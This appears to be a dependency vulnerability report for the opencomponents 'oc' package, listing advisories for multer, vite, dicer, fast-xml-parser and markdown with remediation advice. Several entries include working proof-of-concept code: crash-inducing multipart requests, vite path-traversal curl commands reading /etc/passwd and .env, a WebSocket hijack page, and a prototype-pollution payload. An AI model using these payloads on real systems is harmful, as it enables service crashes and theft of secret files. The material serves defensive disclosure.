Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: multer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › multer@1.4.4Remediation: Upgrade to multer@2.0.1.
Overview
Affected versions of this package are vulnerable to Uncaught Exception in makeMiddleware
, when processing a file upload request. An attacker can cause the application to crash by sending a request with a field name containing an empty string.
Remediation
Upgrade multer
to version 2.0.1 or higher.
References
high severity
- Vulnerable module: multer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › multer@1.4.4Remediation: Upgrade to multer@2.0.0.
Overview
Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime due to improper handling of error events in HTTP request streams, which fails to close the internal busboy
stream. An attacker can cause a denial of service by repeatedly triggering errors in file upload streams, leading to resource exhaustion and memory leaks.
Note:
This is only exploitable if the server is handling file uploads.
Remediation
Upgrade multer
to version 2.0.0 or higher.
References
high severity
- Vulnerable module: multer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › multer@1.4.4Remediation: Upgrade to multer@2.0.0.
Overview
Affected versions of this package are vulnerable to Uncaught Exception due to an error
event thrown by busboy
. An attacker can cause a full nodejs application to crash by sending a specially crafted multi-part upload request.
PoC
const express = require('express')
const multer = require('multer')
const http = require('http')
const upload = multer({ dest: 'uploads/' })
const port = 8888
const app = express()
app.post('/upload', upload.single('file'), function (req, res) {
res.send({})
})
app.listen(port, () => {
console.log(`Listening on port ${port}`)
const boundary = 'AaB03x'
const body = [
'--' + boundary,
'Content-Disposition: form-data; name="file"; filename="test.txt"',
'Content-Type: text/plain',
'',
'test without end boundary'
].join('\r\n')
const options = {
hostname: 'localhost',
port,
path: '/upload',
method: 'POST',
headers: {
'content-type': 'multipart/form-data; boundary=' + boundary,
'content-length': body.length,
}
}
const req = http.request(options, (res) => {
console.log(res.statusCode)
})
req.on('error', (err) => {
console.error(err)
})
req.write(body)
req.end()
})
Remediation
Upgrade multer
to version 2.0.0 or higher.
References
high severity
- Vulnerable module: multer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › multer@1.4.4Remediation: Upgrade to multer@2.0.2.
Overview
Affected versions of this package are vulnerable to Uncaught Exception due to improper handling of multipart requests. An attacker can cause the application to crash by sending a specially crafted malformed multi-part upload request that triggers an unhandled exception.
Remediation
Upgrade multer
to version 2.0.2 or higher.
References
high severity
- Vulnerable module: vite
- Introduced through: oc-template-es6-compiler@4.5.0
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-template-es6-compiler@4.5.0 › oc-vite-compiler@3.9.0 › vite@5.2.9Remediation: Upgrade to oc-template-es6-compiler@5.0.0.
Overview
vite is a Native-ESM powered web dev build tool
Affected versions of this package are vulnerable to Incorrect Authorization via the bypass of the server.fs.deny
restriction. An attacker can access restricted files by appending ?.svg
with ?.wasm?init
or with sec-fetch-dest: script
header to the requests.
Note:
This is only exploitable if the file is smaller than the build.assetsInlineLimit
(default: 4kB), when using Vite 6.0+ and when the Vite dev server is explicitly exposed to the network (using --host
or server.host config option.
PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
Remediation
Upgrade vite
to version 4.5.12, 5.4.17, 6.0.14, 6.1.4, 6.2.5 or higher.
References
high severity
- Vulnerable module: dicer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › multer@1.4.4 › busboy@0.2.14 › dicer@0.2.5
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.
PoC
await fetch('http://127.0.0.1:8000', { method: 'POST', headers: { ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro', ['content-length']: '145', connection: 'keep-alive', }, body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--' });
Remediation
There is no fixed version for dicer
.
References
high severity
- Vulnerable module: fast-xml-parser
- Introduced through: oc-s3-storage-adapter@2.2.2
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-s3-storage-adapter@2.2.2 › @aws-sdk/client-s3@3.186.0 › fast-xml-parser@3.19.0
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-s3-storage-adapter@2.2.2 › @aws-sdk/client-s3@3.186.0 › @aws-sdk/client-sts@3.186.0 › fast-xml-parser@3.19.0
Overview
fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to allowing special characters in entity names, which are not escaped or sanitized. An attacker can inject an inefficient regex in the entity replacement step of the parser, this can cause the parser to stall for an indefinite amount of time.
Workaround
This vulnerability can be avoided by not parsing DOCTYPE
data with the processEntities: false
option.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade fast-xml-parser
to version 4.2.4 or higher.
References
medium severity
- Vulnerable module: fast-xml-parser
- Introduced through: oc-s3-storage-adapter@2.2.2
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-s3-storage-adapter@2.2.2 › @aws-sdk/client-s3@3.186.0 › fast-xml-parser@3.19.0
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-s3-storage-adapter@2.2.2 › @aws-sdk/client-s3@3.186.0 › @aws-sdk/client-sts@3.186.0 › fast-xml-parser@3.19.0
Overview
fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in currency.js
, which can be triggered by supplying excessively long strings such as '\t'.repeat(13337) + '.'
Note: The vulnerability is in the experimental "v5" functionality that is included in version 4.x during development, at the time of discovery.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade fast-xml-parser
to version 4.4.1 or higher.
References
medium severity
- Vulnerable module: vite
- Introduced through: oc-template-es6-compiler@4.5.0
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-template-es6-compiler@4.5.0 › oc-vite-compiler@3.9.0 › vite@5.2.9Remediation: Upgrade to oc-template-es6-compiler@5.0.0.
Overview
vite is a Native-ESM powered web dev build tool
Affected versions of this package are vulnerable to Origin Validation Error due to default CORS settings and lack of validation on the Origin
header for WebSocket connections, making any websites able to send any requests to the development server and read the response. An attacker can intercept and manipulate requests by sending crafted WebSocket requests from unauthorized origins.
Note:
Additionally to upgrading to a fixed version, the following configurations need to be made to fix the vulnerability:
If the backend integration feature is used and
server.origin
is not set, the origin of the backend server needs to be added to theserver.cors.origin
option. Make sure to set a specific origin rather than*
, otherwise any origin can access your development server;If a reverse proxy is used in front of Vite and requests are sent to Vite with a hostname other than
localhost
or*.localhost
, the hostname needs to be added to the newserver.allowedHosts
option. For example, if the reverse proxy is sending requests tohttp://vite:5173
,vite
needs to be added to theserver.allowedHosts
option;If the development server is accessed via a domain other than
localhost
or*.localhost
the hostname needs to be added to the newserver.allowedHosts
option. For example, if you are accessing the development server viahttp://foo.example.com:8080
, you need to addfoo.example.com
to theserver.allowedHosts
option;If a plugin / framework is used that connects to the WebSocket server on their own from the browser and the WebSocket connection appears not to be working after upgrading to a fixed version, it is recommended to either fix the plugin / framework code to the make it compatible with the new version or to set
legacy.skipWebSocketTokenCheck: true
to opt-out the fix for "Lack of validation on the Origin header for WebSocket connections" while the plugin / framework is incompatible with the new version of Vite. When enabling this option, make sure that you are aware of the security implications of this vulnerability.
Workaround
This vulnerability can be partially mitigated by:
Setting
server.cors
to false or limitingserver.cors.origin
to trusted origins;Using Chrome 94+ or using HTTPS for the development server.
PoC
- Use the react template which utilizes HMR functionality:
npm create vite@latest my-vue-app-react -- --template react
- On a malicious server, serve the following POC html:
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>vite CSWSH</title>
</head>
<body>
<div id="logs"></div>
<script>
const div = document.querySelectorAll('#logs')[0];
const ws = new WebSocket('ws://localhost:5173','vite-hmr');
ws.onmessage = event => {
const logLine = document.createElement('p');
logLine.innerHTML = event.data;
div.append(logLine);
};
</script>
</body>
</html>
- Kick off Vite:
npm run dev
Load the development server (open
http://localhost:5173/
) as well as the malicious page in the browser;Edit
src/App.jsx
file and intentionally place a syntax error;Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed.
Remediation
Upgrade vite
to version 4.5.6, 5.4.12, 6.0.9 or higher.
References
medium severity
- Vulnerable module: fast-xml-parser
- Introduced through: oc-s3-storage-adapter@2.2.2
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-s3-storage-adapter@2.2.2 › @aws-sdk/client-s3@3.186.0 › fast-xml-parser@3.19.0
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-s3-storage-adapter@2.2.2 › @aws-sdk/client-s3@3.186.0 › @aws-sdk/client-sts@3.186.0 › fast-xml-parser@3.19.0
Overview
fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries
Affected versions of this package are vulnerable to Prototype Pollution due to improper argument validation, which is exploitable via the aName
variable.
PoC
const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser");
let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>"
const parser = new XMLParser();
let jObj = parser.parse(XMLdata);
console.log(jObj.polluted)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade fast-xml-parser
to version 4.1.2 or higher.
References
medium severity
- Vulnerable module: vite
- Introduced through: oc-template-es6-compiler@4.5.0
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-template-es6-compiler@4.5.0 › oc-vite-compiler@3.9.0 › vite@5.2.9Remediation: Upgrade to oc-template-es6-compiler@5.0.0.
Overview
vite is a Native-ESM powered web dev build tool
Affected versions of this package are vulnerable to Directory Traversal through the server.fs.deny
configuration due to improper input sanitization. An attacker can bypass server.fs.deny
with /.
for files under project root and access sensitive files by manipulating path traversal sequences.
Note:
This is only exploitable if the application is explicitly exposing the Vite dev server to the network (using --host
or server.host config option). Only files that are under project root and are denied by a file matching pattern can be bypassed.
PoC
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e
is the URL encoded version of .
(dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade vite
to version 4.5.14, 5.4.19, 6.1.6, 6.2.7, 6.3.4 or higher.
References
medium severity
- Vulnerable module: vite
- Introduced through: oc-template-es6-compiler@4.5.0
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-template-es6-compiler@4.5.0 › oc-vite-compiler@3.9.0 › vite@5.2.9Remediation: Upgrade to oc-template-es6-compiler@5.0.0.
Overview
vite is a Native-ESM powered web dev build tool
Affected versions of this package are vulnerable to Information Exposure when using ?import&raw
in the URL parameters. An attacker can access file contents that should be restricted by exploiting this bypass mechanism.
PoC
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
Remediation
Upgrade vite
to version 3.2.11, 4.5.5, 5.2.14, 5.3.6, 5.4.6 or higher.
References
medium severity
- Vulnerable module: vite
- Introduced through: oc-template-es6-compiler@4.5.0
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-template-es6-compiler@4.5.0 › oc-vite-compiler@3.9.0 › vite@5.2.9Remediation: Upgrade to oc-template-es6-compiler@5.0.0.
Overview
vite is a Native-ESM powered web dev build tool
Affected versions of this package are vulnerable to Information Exposure due to the handling of req.url
which may contain unexpected characters such as #
. An attacker can access and retrieve the contents of arbitrary files by sending specially crafted requests that bypass the server.fs.deny
checks.
Note:
This is only exploitable if the Vite dev server is explicitly exposed to the network and running on Node or Bun runtimes, excluding Deno.
PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read /etc/passwd
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
Remediation
Upgrade vite
to version 4.5.13, 5.4.18, 6.0.15, 6.1.5, 6.2.6 or higher.
References
medium severity
- Vulnerable module: markdown
- Introduced through: oc-template-jade-compiler@7.5.0
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-template-jade-compiler@7.5.0 › oc-jade-legacy@1.11.1 › jstransformer-markdown@1.2.1 › markdown@0.5.0
Overview
markdown is a yet another markdown parser, this time for JavaScript.
Note: This package is no longer actively maintained and should be considered deprecated.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It is possible under certain circumstances to abuse the URL regex parse functionality available within the Gruber dialect feature to conduct denial of service attacks.
Note: Exploitation of this vulnerability requires usage of the Gruber
dialect (dialects/gruber.js
) within markdown
, which is not available by default.
PoC by Snyk
console.time('benchmark');
//regex taken from https://github.com/evilstreak/markdown-js/blob/master/src/dialects/gruber.js#L12
var urlRegexp = /(?:(?:https?|ftp):\/\/)(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)(?:\.(?:[a-z\u00a1-\uffff0-9]+-?)*[a-z\u00a1-\uffff0-9]+)*(?:\.(?:[a-z\u00a1-\uffff]{2,})))(?::\d{2,5})?(?:\/[^\s]*)?/i.source;
//expoit/payload
const str = '';
//Duplicate of code from https://github.com/evilstreak/markdown-js/blob/master/src/dialects/gruber.js#L566
var m = str.match(new RegExp("^!\\[(.*?)][ \\t]*\\((" + urlRegexp + ")\\)([ \\t])*([\"'].*[\"'])?")) ||
str.match( /^!\[(.*?)\][ \t]*\([ \t]*([^")]*?)(?:[ \t]+(["'])(.*?)\3)?[ \t]*\)/ );
console.timeEnd('benchmark');
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for markdown
.
References
medium severity
- Vulnerable module: markdown
- Introduced through: oc-template-jade-compiler@7.5.0
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-template-jade-compiler@7.5.0 › oc-jade-legacy@1.11.1 › jstransformer-markdown@1.2.1 › markdown@0.5.0
Overview
markdown is a yet another markdown parser, this time for JavaScript.
Note: This package is no longer actively maintained and should be considered deprecated.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The markdown.toHTML()
function has significantly degraded performance when parsing long strings containing underscores. This may lead to ReDoS if the parser accepts user input.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for markdown
.
References
medium severity
- Vulnerable module: vite
- Introduced through: oc-template-es6-compiler@4.5.0
Detailed paths
-
